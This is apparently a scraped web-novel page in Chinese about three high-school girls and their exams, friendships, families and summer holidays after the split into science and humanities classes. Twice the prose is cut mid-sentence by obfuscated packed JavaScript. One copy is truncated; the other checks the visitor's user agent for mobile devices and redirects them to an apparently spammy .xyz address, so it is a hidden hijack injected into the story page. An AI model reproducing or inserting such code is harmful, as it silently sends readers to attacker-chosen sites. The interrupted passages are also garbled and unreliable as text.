上学期那位温和的英语老师杨老师不再带一班，取而代之的是他们的数学老师——老林。老林教学严谨，逻辑清晰，自带一种不怒自威的气场，由他执掌竞争最激烈的理科实验班，大家都觉得十分合适。晚自习时，老林拿出了提前排好的新座位表投屏。谢雪凤被安排在了第三组第二个，一个视野极佳、便于和老师互动的中心位置。她默默收拾好东西坐下，很快便投入了预习中，仿佛从未离开过。 而对于秦语曦和梁清嘉来说，变化则是实实在在的。她们从原来五楼左侧的第二间教室，搬到了二楼第一间教室——高一（16）班，文科重点班。新教室离小卖部和操场更近了，窗外是郁郁葱葱的香樟树，视野开阔。 走进新教室，里面已经坐了不少新同学，有些是原班的，更多是来自其他班级的文科尖子。大家脸上都带着些许新奇和打量。她们的班主任是一位姓梁的语文老师，约莫四十岁年纪，身材高瘦，戴着一副金丝边眼镜，气质儒雅，但行事风格却颇为利落。 晚自习开始，老梁站在讲台上，没有多余的寒暄，直接说：“同学们，我们按老规矩，既然大部分同学我还不认识，咱们就按上学期期末分班考试成绩排名来选座位。现在，所有人带上自己的东西，到走廊按排名顺序排好队。” 这种方式简单粗暴，却极其公平，瞬间让有些嘈杂的教室安静下来。大家依言出去排队。梁清嘉和秦语曦自然排在了很前面。 “梁清嘉。” 梁清嘉走进教室，目光扫视一圈，毫不犹豫地走向她们早就心仪的位置——第五组第三排。她选择了靠过道的外侧座位。 “秦语曦。” 秦语曦紧随其后，走进教室，自然地坐在了梁清嘉旁边，第五组第三排靠窗的内侧座位。这里既能看清黑板，又方便课间看看窗外风景放松眼睛，还能说点悄悄话，是她们心目中的“黄金宝座”。 同学们依次进来选座，很快座位就基本落定。接着便是惯例的搬书、发书。捧着崭新的、散发着油墨香的文科专用复习资料和练习册，一种真正的“文科生”的实感才扑面而来。 发完书，距离晚自习结束还有一段时间。秦语曦和梁清嘉默契地拿出数学练习册和草稿本，开始讨论起一道函数与导数结合的题目。虽然选了文科，但数学依然是拉开差距的关键科目，她们不敢有丝毫松懈。草稿纸上很快写满了演算过程，两人低声交换着思路，时而蹙眉，时而恍然。 文理分科后，学校教学资源的倾斜立刻显现出来，体现在截然不同的师资配置和教学节奏上。 在谢雪凤所在的理科实验班，配备的是堪称“豪华”的教师天团。 老林不用多说，思路清晰，要求严格，善于培养学生的逻辑思维。物理老师是特级教师，讲课从不照本宣科，善于用生动的比喻和清晰的物理图像解释复杂概念，节奏快，容量大，但听得懂就会觉得异常透彻。化学老师是特级教师，经验极其丰富，对高考命题规律把握精准，讲课深入浅出，尤其擅长将零散的知识点串联成网络。生物老师也是资深高级教师，讲课风趣，能将复杂的生命过程讲得通俗易懂。 他们的课堂节奏非常快，知识点密度高，深度和广度都远超平行班。作业量和难度也相应提升。至于文科的政治、历史、地理，对于一班的学生而言，目标是通过高中学业水平考试，因此学校安排的是比较年轻的老师，讲课内容相对基础，节奏较慢，主要任务是带领学生梳理知识点，应对过关性考试。 而在秦语曦和梁清嘉所在的文科重点班，则是另一番景象。这里是文科的“顶尖战力”集合地。 ·语文老梁：本身就是特级教师，讲课引经据典，充满人文气息，对高考作文套路和阅读答题技巧有极深的研究。 ·数学老师：是常年带毕业班的高级教师，对文科数学的考点、难点、易错点把握得极其精准，善于总结题型和解题方法。 ·英语老师：一位口语流利、教学风格活泼的骨干教师，注重培养学生的语言应用能力和高考应试技巧。 ·政治、历史、地理老师：无一不是各自领域的教学能手。他们不再局限于课本，而是纵横捭阖，联系时事，深入剖析历史事件背后的逻辑、地理现象成因的复杂性、政治理论的现实意义。他们的讲课堪称“深入浅出”，能将复杂的理论讲得生动有趣，又能一针见血地指出高考考点和答题得分点。 临近高一下学期的第一次月考，文理科重点班都感受到了不同于以往的备考氛围。 在理科实验班，距离月考还有一周时，某天下午的最后一节自习课，数学竞赛教练老陈出现在了教室门口，和老林低声交谈了几句。 老林拍拍手：“同学们，安静一下。接下来两节自习课，由陈老师给大家进行压轴题专项训练。” 老陈的名声在附中如雷贯耳，他的训练以难度大、思维刁钻著称。他走上讲台，没有废话，直接在白板上写下一道复杂的力学综合题，开始讲解他的“秒杀”思路和独特的解题技巧。他的方法往往跳脱出常规的解题框架，直击本质，让台下这些尖子生都听得目瞪口呆，继而恍然大悟，大呼过瘾。这种来自竞赛体系的降维打击，旨在拓宽他们的思维边界，应对高考中可能出现的“变态”压轴题。 无独有偶，在文科重点班，也同样迎来了“外援”。数学课下课后，同学们发现一位身材高大、笑容有点憨厚但眼神锐利的男老师拿着教案走了进来。 语文梁老师介绍道：“同学们，这位是学校的数学竞赛教练兰勇，兰老师。接下来几天，兰老师会抽时间给我们班进行数学压轴题的思路点拨和专项训练，大家欢迎！” 兰老师虽然主要带理科竞赛，但对高考数学，尤其是文科数学的压轴题部分也有独到的研究。他的讲解不像理科教练那样天马行空，而是更注重技巧性和套路性，善于总结这类题型的通用解法和抢分步骤。“同学们，这道题看起来吓人，其实突破口就在这里……”“记住这个模型，下次看到类似的，直接套用这个思路……”他的课实用性强，让秦语曦和梁清嘉这种对数学略有畏惧的文科生也觉得受益匪浅，仿佛拿到了攻克数学堡垒的利器。 三月的尾巴，G市在连绵的春雨与偶尔放晴的春光中交替。高一下学期的学习生活逐渐步入深水区，而第一次月考，也在这春暖花开的时节如期而至。虽然文理已然分科，但根据教育部门的要求和学校的教学安排，高一阶段仍需完成所有九门学科的学习以备战将来的学业水平考试（会考）。因此，这次月考，政史地理化生依旧位列考表，只是计分方式上有了明确的倾向：理科班的政史地成绩仅作参考，不计入总分排名；文科班的物化生同样如此。 三天的考试，对于不同选科的学生而言，感受截然不同。 对于谢雪凤，考物理、化学、生物是主场作战，她下笔沉稳，思路流畅，尤其是理科综合，几乎感觉不到太大的阻力。而面对政 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢建华激动得嘴唇微微颤抖，连连说：“好！好！太争气了！” 叶桂兰眼圈泛红，抹了下眼角，转身从抽屉里一个旧铁盒中，小心翼翼地取出两张叠得整整齐齐的五十元纸币，塞到谢雪凤手里：“拿着！爸和妈奖励你的！想买点啥学习用的，或者好吃的，自己去买！” 一百块钱，对于这个家庭来说不是小数目，却承载着父母最朴实、最厚重的骄傲与爱。谢雪凤接过那还带着父母体温的钱，心里酸酸暖暖的，重重点头：“谢谢爸，谢谢妈。” 在梁清嘉家，氛围则轻松愉快许多。梁清嘉把手机屏幕怼到刚下班回家的刘敏敏和梁建宏面前：“噔噔噔！请看梁清嘉同学的最新战报！文科探花！” 刘敏敏接过手机仔细一看，脸上笑开了花：“哎哟，第三名！真棒！保持住这个势头！”梁建宏推了推眼镜，看着成绩单，律师的严谨让他多问了一句：“数学好像还可以再提一提？不过总体非常不错！值得庆祝！” “那必须庆祝！”刘敏敏大手一挥，“老梁，别做饭了，收拾一下，咱们出去吃！嘉嘉，想吃什么？” “粤菜！想吃虾饺和烧鹅！”梁清嘉立刻点名。 “没问题！就走！”一家三口兴致勃勃地出门，直奔G市一家老字号的粤菜馆。餐桌上，美食当前，欢声笑语，成绩的喜悦融化在温馨的家庭时光里。 在秦语曦家，秦国栋和林婉仪也仔细看了女儿的成绩单。 “683，第四名，很不错了曦曦。”林婉仪首先肯定，“文综分数很高，语文英语也保持住了优势。” 秦国栋点点头，指出：“不过数学错了一道不该错的题，下次再细心一点。” 秦语曦嘟了嘟嘴。 “好了好了，刚考完试，先放松。”林婉仪笑着打圆场，“成绩总体是好的，值得奖励。老秦，咱们小区对面新开了一家川菜馆，听说味道很正宗，要不带曦宝去尝尝鲜？” “好啊！”秦国栋欣然同意，“走吧曦曦，化‘失分’为食欲！” 一家三口也其乐融融地出门，去品尝麻辣鲜香的新派川菜。餐桌上，父母没有过多谈论成绩，只是关心着女儿在学校的生活和趣事，让秦语曦在放松之余，也感受到了无条件的支持。 18. 18. 时光荏苒，白驹过隙。仿佛才刚适应新班级的节奏，G市的空气已然变得湿热黏稠，蝉鸣声一阵响过一阵，预示着高一学年的最终章——期末考试的来临。 这次期末考试非同寻常，是由师大附中与师大附属外国语学校联合命题，统一阅卷，堪称G市顶尖高中之间的一次直接对话，旨在检验两校最顶尖学生的真实水平。 成绩不仅会在两校内部分别排名，更会在师大教育集团的小程序上公布文理科总分前五十名的“英雄榜”，其关注度和重要性不言而喻。 附中上下对这次联考极为重视。对于秦语曦和梁清嘉所在的文科重点班16班而言，压力尤甚。附外文科的强势是众所周知的，常年霸占省市文科状元之位。要想在总榜上压过附外，除了语文、英语、文综要保持绝对优势外，数学——这门传统上被认为是文科生“生命线”的科目——更是必争之地，往往是拉开差距的关键。 老梁和数学正牌老师老金不断给大家打气，强调基础的重要性，要求大家稳住中低档题型，确保零失误。“同学们，我们的目标是整体平均分和高分率！基础题一分不能丢！”老金在课上反复强调。 竞赛教练兰勇被赋予更重要的任务：主攻压轴题，从附外手里抢夺文科数学的最高分，乃至满分。 有一次晚自习，兰勇又来给大家加餐。他讲一道函数与数列结合的难题，讲着讲着，大概是职业病犯了，思维一下子从高考模式跳到了竞赛频道，引入了一种非常巧妙的、但需要极强数学直觉和变形技巧的CMO级别的解法。 他在讲台上口若悬河，写得行云流水，感觉自己简直是在揭示数学之美。然而台下的文科生们，包括秦语曦和梁清嘉，一开始还能勉强跟上，到后面就只能目瞪口呆地看着满黑板的复杂符号和跳跃的步骤，眼神逐渐从专注变为迷茫，最后彻底放空，仿佛在听天书。 兰勇酣畅淋漓地讲完，自觉妙极，信心满满地转过身，擦了下额头的汗，问道：“同学们，这个思路是不是很简单？很清晰？” 台下一片寂静。过了好几秒，才有几个同学弱弱地、异口同声地回答：“……简单。” 兰勇脸上刚露出欣慰的笑容，又问：“那你们会算吗？” 又听同学们齐声道：“……不会。” 兰勇脸上的笑容瞬间僵住，转而变成了一脸“菜色”，仿佛被噎住了一样。他看着台下那一张张真诚又带着点无辜的脸，终于意识到自己好像又“超纲”了。他尴尬地咳嗽了两声，摸摸鼻子：“呃……这个……这个方法是有点跳步了哈。那我们还是回过头来看常规的、能拿分的解法……”教室里顿时响起一阵如释重负的轻微叹气声和窃笑声。这个小插曲也成了紧张备考中的一点调剂。 6月28日至30日，期末联考在闷热的天气中进行。或许是出于联合命题要兼顾两校多数学生水平的考虑，试卷整体难度并不大，更侧重于考查基础知识的扎实度和细心程度。 谢雪凤在理科考场上依旧稳如泰山，审题仔细，计算精准，几乎感觉不到任何挑战。 秦语曦和梁清嘉在文科考场也发挥稳定。尤其是数学，有了兰勇前期“地狱式”压轴题训练的铺垫，再做高考难度的题目，竟觉得顺手了许多。秦语曦感觉自己这次数学考得不错，梁清嘉也感觉良好。 考试结束后，便是五天焦灼的等待。第五天傍晚，成绩终于千呼万唤始出来。 谢雪凤毫无悬念地再次摘得桂冠，总分718分，以绝对优势稳居理科第一名，领先第二名十多分，其统治力令人惊叹。 文科榜的竞争则激烈得多。榜单从上往下看： 第1名：李思柠（师大附属外国语学校），总分692分，数学150分。 第2名：秦语曦（师大附中），总分688分。 第3名：梁清嘉（师大附中），总分687分。 …… 附外的李思柠以4分的微弱优势夺得了文科第一，尤其骇人的是她的数学拿到了满分150分，这无疑是奠定胜局的关键。 秦语曦和梁清嘉分列二、三名，总分差距极小，表现已然极其出色，尤其是数学成绩相比以往都有了显著提升，但终究未能夺回榜首的位置。 16班的同学们在看到数学满分的那一刻，都明白了兰勇老师的苦心以及和附外顶尖高手之间那细微却关键的差距。 成绩出来时，恰逢周末，但孩子们的家长却都忙得脚不沾地。 秦国栋和林婉仪都在外地出差，赶不回来。 梁建宏正在为一个标的额巨大的商业官司做最后准备，泡在法院和律所里。 刘敏敏更是忙得连轴转，手下同时盯着好几个数亿元级别的审计项目。 于是，犒劳和安慰妹妹们的任务，再次落在了梁清树和秦宇晨这两位“留守兄长”身上。两人一合计，决定带妹妹们去吃顿热闹的烤肉，放松一下心情。 周末晚上，一家口碑很好的韩式烤肉店门口排起了长队。梁清树一行人到的时候，前面还有几桌在等位。四人正站在门口闲聊，讨论着是等下去还是换一家。 这时，一对年轻的男女正好从他们身边经过，服务员热情地引着他们入内。那男生身材高瘦，穿着简单的白T恤和牛仔裤，气质清爽；旁边的女孩扎着马尾辫，穿着连衣裙，看起来文静又大方。 梁清树眼尖，一下子认出了那个男生，脱口叫道：“李思朗？” 男生闻声回头，看到梁清树，也露出了惊喜的笑容：“梁清树？这么巧！”他走了过来。 梁清树笑着跟他碰了下拳：“是啊，带我妹和她同学来吃饭。这位是？”他看向旁边的女孩。 李思朗自然地介绍道：“这是我妹妹，李思柠。思柠，这位是梁清树学长，我高中同学。”他又看向梁清树身后的秦宇晨，笑容更盛，“宇晨！你也回来了？” 秦宇晨也笑着上前：“清树叫我就一起过来了。好久不见，思朗。”原来，李思朗虽然是附外的学生，但当年也是数学竞赛的顶尖高手，和秦宇晨同一年参加了CMO并同样获得了金牌，两人在国家集训队里相识，关系很是不错。 李思柠落落大方地向各位学长问好。 梁清树这才反应过来，对秦语曦和梁清嘉说：“对了，你俩刚看的成绩单，文科第一……” 秦语曦和梁清嘉瞬间瞪大了眼睛，看向李思柠。李思柠似乎有些不好意思，微微笑了笑。 秦宇晨对李思朗打趣道：“可以啊思朗，你们家这是文理双全啊！你当年CMO金牌保送北大，妹妹现在又是文科状元苗子。” 李思朗笑着摆手：“哪有，她也就是这次运气好。你们这是……？”他看向秦语曦和梁清嘉。 梁清树介绍：“我妹梁清嘉，她同学秦语曦。喏，就是总分第二和第三，被你妹压了一头的俩。” 这话一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484418|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出，大家都笑了起来，气氛一下子变得轻松又微妙。既是竞争对手，又是学长学妹，还带着点“江湖偶遇”的戏剧性。 李思朗热情地说：“相遇就是缘分，别排队了，我们里面是个小包间，一起吧？正好聊聊。” 梁清树和秦宇晨对视一眼，征求妹妹们的意见。秦语曦和梁清嘉也对这位“第一名”很好奇，点了点头。 于是，原本的两拨人合成了一桌。烤盘上的肉滋滋作响，香气四溢。一开始还有些许尴尬，但年轻人总是容易熟络起来。他们聊考试，聊学校趣事，聊未来的打算。李思朗和秦宇晨、梁清树回忆着集训队的糗事；秦语曦、梁清嘉则和李思柠交流起学习方法和心得，发现彼此有很多共同语言，并非想象中的“敌人”。 这场意外的聚餐，仿佛冲淡了排名带来的竞争火药味，变成了不同学校顶尖学生之间一次愉快的思想碰撞。对于秦语曦和梁清嘉而言，看到了对手的强大与谦和，也更清晰地看到了自己未来努力的方向。高一学年，就在这烤肉的烟火气与轻松的笑语声中，落下了帷幕。 高一学年的结束，对于大多数学生而言，是长达两个月的、可以尽情放松的暑假。但对于谢雪凤的家庭而言，这个夏天，却交织着巨大的喜悦、沉重的压力与一丝难以言说的无奈。 七月中旬，一封来自上海的邮件，像一颗投入平静湖面的金色石子，在这个位于城中村的简陋平房里激起了巨大的、幸福的涟漪。 那是上海交通大学工科试验班的录取通知书！ 收件人是谢雪菲——谢雪凤的二姐。当邮递员将那个沉甸甸的、印着交大校徽的红色信封递到谢雪菲手中时，她的手是颤抖的。拆开信封，看到那纸梦寐以求的录取通知，这个平日里沉静内敛的女孩，眼眶瞬间就红了。 “爸！妈！姐！我考上了！交大！”谢雪菲的声音带着哭腔，却充满了无法抑制的激动。 谢建华和叶桂兰闻声从里屋跑出来，接过通知书，反复摩挲着上面凸起的字迹。 “好！好！太好了！”谢建华激动得声音发颤，黝黑的脸上绽放出前所未有的光彩，眼角深刻的皱纹都笑开了花。 叶桂兰更是喜极而泣，一边抹着眼泪一边念叨：“我就知道……我就知道我们家菲菲有出息……真是祖宗保佑……” 就连平时最为沉稳的大姐谢雪琳开心地鼓掌：“太棒了，菲菲！真给咱家争气！” 狂喜过后，是更为现实的考量。大学的开销不小。谢雪菲非常懂事，第一时间就表示：“爸，妈，我已经了解过了，可以申请助学贷款，学费和住宿费没问题。生活费我可以自己去勤工俭学，我已经向学长学姐打听了，学校里有图书馆管理员、助教、机房维护很多岗位，我还可以去接家教。” 但谢建华和叶桂兰觉得，再苦不能苦了孩子上大学。他们私下商量了许久，翻出那个藏得深深的、装着家里所有积蓄的旧铁盒，数了又数，最终一咬牙，决定拿出其中一大半，给二女儿置办上大学必不可少的“行头”。 他们带着谢雪菲，去了电子城，精打细算地对比了很久，最终买了一台性价比最高的国产笔记本电脑和一部新款智能手机。看着女儿捧着新电脑和新手机时那小心翼翼又无比珍视的样子，叶桂兰和谢建华心里既高兴又酸楚。 高兴的是终于能为孩子做点什么，酸楚的是这点付出对于其他家庭来说或许微不足道，却已是他们能拿出的全部。 19. 19 谢雪凤高一暑假，家里狭小的空间里，学习氛围空前浓厚。 已经是大学生的谢雪琳，深知工科试验班对数理基础要求极高，主动担起了给妹妹谢雪菲预习大学数学的任务。谢雪琳将自己用过的教材和笔记分享给谢雪菲，耐心讲解微积分、线性代数的入门知识。 而即将步入大学的谢雪菲，在预习自身课程之余，也和大姐一起，将目光投向了即将升入高二的妹妹谢雪凤。她们深知高中的竞争有多激烈，尤其是谢雪凤目标直指最顶尖的学府。 于是，常常可以看到这样一幕：三姐妹挤在一张旧书桌旁。大姐谢雪琳在电脑屏幕前讲解着高深的数学概念；二姐谢雪菲一边消化吸收，一边用更易懂的方式转授给谢雪凤；谢雪凤则认真地做着笔记，时不时提出疑问。窗外是夏日的喧嚣，屋内却只有书页翻动和低声讨论的声音，构成了一幅动人的“寒门三学士”图景。 叶桂兰和谢建华看着三个女儿伏案苦读的背影，欣慰之情溢于言表。他们没什么文化，无法在学习上给予女儿们任何指导，只能默默地尽最大努力创造好一点的环境：每天变着花样做虽然简单却营养的饭菜，早早地烧好洗澡水，夜里悄悄切好西瓜放在她们桌边，走路说话都尽量轻手轻脚。 “看着她们三个这样，再苦再累也值了。”叶桂兰常常对谢建华这样说，眼神里充满了希望。但同时，深深的愧疚也萦绕在他们心头：“就是家里条件太差，委屈孩子们了……要是我们能更有本事一点，她们也不用这么辛苦……” 然而，与客厅里积极向上、充满希望的氛围形成鲜明对比的，是家里另一个角落的沉闷与颓靡。 谢雪凤的弟弟谢雪龙和他的女朋友李雪，几乎整天窝在里屋。这两个年轻人自初中毕业后就辍学在家，既不愿继续读书，也不愿出去找工作。 白天睡到日上三竿，起床后就抱着手机玩游戏、看短视频，饿了就出来找吃的，对家里的状况和姐姐们的努力漠不关心。 叶桂兰每次做好饭叫他们，看到他们睡眼惺忪、无所事事的样子，再看看外面刻苦学习的三个女儿，心里就像堵了一团棉花，说不出的憋闷。 谢建华更是眉头紧锁，唉声叹气。他们不是没有劝过，甚至吵过、骂过，但谢雪龙总是油盐不进，嫌父母啰嗦，觉得打工太累、赚钱太难，不如在家躺着舒服。李雪更是外人，说不得重话。 巨大的反差让这个家仿佛被割裂成了两个世界。一边是三个女儿用知识奋力托起家庭未来的希望之光；另一边是儿子沉溺于眼前安逸、看不到未来的沉沉暮气。 叶桂兰和谢建华常常在深夜无法入睡，望着窗外零星灯火，发出沉重的叹息。女儿的争气让他们骄傲，但儿子的不成器又像一块巨石压在心头。他们不知道该如何扭转小儿子的局面，只能将更多的期望和愧疚，加倍地倾注在三个女儿身上，希望她们能真正飞出这个贫寒的巢穴，拥有光明的未来。 这个暑假，对于谢雪凤家来说，是荣耀与困顿交织的复杂季节，希望与无奈并存，清晰地映照出这个底层家庭在时代洪流中的挣扎与期盼。 当谢雪凤在闷热的城中村平房里，与姐姐们挤在书桌前为未来奋力拼搏时，城市的另一端，秦语曦和梁清嘉的暑假，则呈现出截然不同的光景。 秦宇晨和梁清树都已进入研究生二年级，即便是暑假，也面临着繁重的科研任务、项目推进或实习压力。秦宇晨跟着导师的课题项目，大部分时间泡在实验室或机房；梁清树则可能忙于算法优化或论文撰写，同样脱不开身。 两位哥哥的缺席，让秦语曦和梁清嘉这两个“小麻烦精”只能互相“祸害”，却也成了她们亲密友谊的催化剂。 她们的暑假节奏慵懒而惬意： 睡到自然醒：没有闹钟的催促，每天睡到阳光透过窗帘变得刺眼，才懒洋洋地从床上爬起来，享受不用早读的奢侈。 午后图书馆之约：下午两点左右，是一天中最热的时候。两人会约在市里环境最好、冷气最足的图书馆或大型书店的咖啡区见面。点一杯冰饮，摊开暑假作业，开始“学习”。但所谓的“写作业”过程总是充满各种插曲——分享看到的有趣段落、吐槽作业的变态、偷偷刷一会儿手机、交流新发现的零食或动漫……效率未必很高，但氛围绝对轻松愉快。 夜晚开黑时光：晚饭后，才是真正的娱乐时间。两人准时上线，组队“开黑”。游戏里的配合默契程度堪比学习上的交流，时而大杀四方欢呼雀跃，时而操作下饭互相嘲笑，清脆的笑声和激动的喊叫声通过耳机传达到彼此耳边，是一天中最放松、最快乐的时刻。 这种“睡醒-学习（玩）-玩游戏”的循环，构成了她们暑假生活的主基调。偶尔也会一起去逛逛街，看场电影，或者约上其他同学短途出游，生活被填充得丰富多彩，却没有太多压力。 八月初，刘敏敏和梁建宏终于协调出了宝贵的年假时间。律师和审计师的高强度工作暂时放下，一家人计划了一次前往武汉的旅行。 梁清树自然回来了。于是，一家四口飞赴江城武汉。 他们的旅行充满了文化与美食的探索： 登黄鹤楼：站在“天下江山第一楼”上，眺望长江滚滚东去和武汉三镇风光，感受历史的厚重与自然的壮阔。 逛湖北省博，惊叹于越王勾践剑的锋利依旧和曾侯乙编钟的恢宏气势，沉浸在荆楚大地的悠久文明中。 在炎炎夏日里寻找一片绿意清凉，骑行或乘船，享受难得的闲适。深入武汉的大街小巷，体验“过早”文化，热干面、豆皮、面窝、烧麦……各种小吃尝个不停。晚上则去吉庆街或户部巷，感受烟火气十足的宵夜氛围。 刘敏敏忙着拍照打卡，梁建宏负责规划路线和讲解历史典故，梁清树则一边照顾妹妹，一边无奈地听着父母的“秀恩爱”。梁清嘉更是玩疯了，一路吃吃喝喝，开心得不得了。 梁清嘉从武汉回来后不久，八月中旬，秦国栋和林婉仪也休了年假，带着秦宇晨和秦语曦前往山城重庆。 正好忙完的秦宇晨，也加入了家庭旅行。一家四口乘坐穿楼而过的李子坝轻轨，体验皇冠大扶梯的长度与坡度，在洪崖洞感受“从11楼出来是马路”的奇妙地形，惊叹于长江索道横跨江面的独特视角。 来到火锅之都，自然要大快朵颐。在热气腾腾、麻辣鲜香的九宫格火锅前，一家人吃得酣畅淋漓，秦语曦一边被辣得吸溜吸溜，一边还忍不住下筷。秦宇晨和秦国栋则喝着冰啤酒，畅聊着工作和学习。 林婉仪细心安排着行程和起居，秦国栋则负责搞定所有交通和买单事宜。秦宇晨秦语曦沉浸在美食与美景中，暂时将学习的烦恼抛诸脑后。 就这样，在谢雪凤于斗室之中奋笔疾书、为未来积蓄力量的同时，秦语曦和梁清嘉的暑假，则在悠闲、游戏和家庭旅行的交织中悠然度过。 不同的家庭环境，为她们提供了不同的夏日注脚，也预示着她们未来截然不同却各自精彩的人生道路。暑假的尾声渐近，高二学年的挑战，已在远处隐隐浮现。 盛夏的余威尚未完全消退，九月的秋风便已捎来了新学年的讯息。对于秦语曦、梁清嘉和谢雪凤而言，这个开学季意味着一次重要的身份转变——她们从高一新生，正式成为了高二的学长学姐，高中的旅程已然过半，冲刺的阶段悄然临近 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谢雪凤的迁徙路径是“垂直平移”。理科实验班（一班）的教室，从启航楼的五楼，搬到了博学楼的五楼。依旧是顶层，仿佛象征着她们在学业上的顶尖位置。不同的是，博学楼五楼的环境更为肃静，远离低年级的喧闹，更适合沉浸式的深度学习和思考。 秦语曦和梁清嘉所在的文科重点班（16班），则从启航楼搬到了博学楼的二楼。楼层降低了，但位置处于教学楼的中段，去办公室、实验室、食堂都更加便捷。窗外是高大的乔木，夏天绿意盎然，秋天金黄一片，视野极佳。 值得庆幸的是，附中的教学楼设计巧妙，启航楼与博学楼之间有连廊互通，无需走出大楼，更无需上下楼梯搬运沉重的书本和个人物品。 同学们只需要像蚂蚁搬家一样，分批将书箱和个人物品从旧教室运到新教室即可。这个过程虽然有些繁琐，却也充满了新起点的新鲜感。 看着布置一新的教室，黑板擦得锃亮，桌椅摆放整齐，一种“我们真的高二了”的实感才真切地涌现出来。 开学第一天晚上，照例是晚自习。新的教室，新的座位表，新的学期氛围。 在博学楼二楼的16班教室里，假期综合征似乎还未完全消退。 梁清嘉一只手撑着脑袋，眼皮耷拉着，另一只手无意识地转着笔。暑假里睡到自然醒的生物钟还没调整过来，加上白天搬教室的劳累，让她此刻只想找个地方躺下。讲台上老师强调着高二的重要性，她的脑袋却像小鸡啄米一样，一点一点的，勉强维持着不趴下的最后尊严。 旁边的秦语曦虽然坐得端正些，但也是兴致缺缺的模样。她望着窗外漆黑的夜空，思绪似乎还飘在重庆火锅的麻辣鲜香或是家里柔软的大床上。面前摊开的新课本仿佛有着催眠的魔力，让她忍不住打了个小小的哈欠。暑假悠闲的节奏与突然紧绷起来的校园生活形成了鲜明对比，需要一点时间来缓冲。 而在博学楼五楼的一班教室，气氛则截然不同。谢雪凤背脊挺得笔直，眼神专注地看着讲台上的老师。她的课桌上，新发下来的教材和练习册已经按科目和大小整理得井井有条。手边放着一本崭新的笔记本，笔尖已经准备好记录下新学期的第一个重点。 对她而言，假期不是放松，而是蓄力。高二意味着距离梦想的大学又近了一步，意味着竞赛难度升级，意味着更激烈的排名竞争。她不敢有丝毫懈怠，开学的第一刻就必须让自己以最佳状态投入战斗。教室里的其他同学，大多也和她一样，脸上带着一种属于强者的冷静和专注，仿佛假期从未存在过。 20. 20. 高二学年，如同一辆加速行驶的列车，在学业水平考试的必经站台稍作停留后，便朝着高考的终点全力冲刺。 这一年，对于谢雪凤而言，是目标明确、心无旁骛的深耕；而对于秦语曦和梁清嘉这对活宝来说，则是在“鸡飞狗跳”与学业拼搏中交织前行的独特时光。 在理科实验班一班，谢雪凤的座位自开学第一天起，就牢牢定在了第三组第三排——这个教室的“黄金C位”。 她像一颗钉子，铆在了属于自己的战场上。周围的面孔或许因微调而略有变化，但氛围始终是高度专注和激烈竞争的。 她的世界简单而纯粹：听课、做题、总结、提升。每一次考试，她的名字都稳稳地占据着年级理科榜首的位置，分数越来越高，领先优势越来越大，仿佛一台精密的学习机器，稳定得令人望而生畏。 而在16班，画风则截然不同。老梁在高二上学期第一次月考后，看着成绩单上紧挨着的秦语曦和梁清嘉的名字，又想到两人是形影不离的好友，便萌生了一个“美好”的愿望：让好朋友做同桌，互相促进，共同进步。于是，他大手一挥，将两人安排成了同桌。 然而，老梁很快就发现，自己这个决定可能有些“天真”。这两个女孩凑在一起，所产生的“化学反应”绝非简单的“1+1>2”。她们所在的角落，瞬间成了全班最富生机的地方。 课上，她们会因为一个历史事件的细节争论不休，虽然压低了声音，但激动的表情和飞舞的手势足以吸引周围一圈人的注意。 自习课，她们讨论数学题，思路清奇，时常爆发出“原来还可以这样！”的小声惊呼，或者为一道题的解法笑得前仰后合。 课间，更是她们活跃的高峰期，分享零食、吐槽老师、交流八卦、规划周末去哪儿玩……她们的周围总是围着一小圈人，欢声笑语不断，俨然成了班级的“信息交流中心”和“快乐发源地”。 转机出现在期中考试。那次数学试卷的最后一道选择题难度超纲，超出了高考范围，让大部分文科生抓耳挠腮。然而，梁清嘉凭借着她那神奇的、时常掉线但偶尔又能爆发出惊人能量的“运气”，居然蒙对了答案！ 就是这关键的5分，让她一举超越了平时稳居榜首的几位同学，意外地夺得了班级第一、年级第一！秦语曦也考得不错，班级第三、年级第四。更让老梁无奈的是，她们周围的几个同学，大概是被这种“欢乐”的氛围所感染，成绩居然也有不小进步。 看着这份整体“飘红”的成绩单，老梁抚额长叹，心中五味杂陈。一方面，成绩是硬道理，他不能否认这两个“小作精”确实有天分，甚至可能她们那种放松的状态反而有利于临场发挥；另一方面，她们带来的课堂纪律问题也确实存在。 最终，对成绩的看重暂时压过了对纪律的担忧，老梁决定——“忍了！”他只是在班会上不点名地提醒了一句：“个别同学，注意一下课堂氛围，过犹不及。” 然而，老梁的忍耐是有限度的。期中考试后的“好景”不长，秦语曦和梁清嘉周围的“热闹”变本加厉。她们开始传纸条传得更加隐蔽而频繁，会在老师转身写板书时迅速交换一个眼神然后偷笑，甚至发展到用一本厚厚的词典做掩护，在下面偷偷分享一本漫画或小说。 终于，在高二上学期第二次月考结束后，看着虽然依旧优秀但略有波动的成绩，以及周围同学家长委婉反映的“孩子容易分心”的问题，老梁忍无可忍了！ 班会课上，老梁面无表情地公布了新的座位表。当念到“梁清嘉，讲台左侧单人座”、“秦语曦，讲台右侧单人座”时，全班同学先是一愣，随即爆发出一阵压抑不住的窃笑。这分明就是老师对付调皮学生的“终极法宝”——“特殊关照位”！ 出乎老梁意料的是，这两个女孩的脸皮厚度远超他的想象。梁清嘉撇撇嘴，利落地收拾书包，大摇大摆地坐到了讲台左边，还顺手把讲台擦了一遍。秦语曦则叹了口气，抱起书本文具，安安稳稳地在讲台右边“落户”。 两人隔着一个偌大的讲台，相视一笑，甚至还偷偷比了个“V”字手势，完全没有被“流放”的自觉和羞愧，反而有种“从此天高任鸟飞”的错觉。 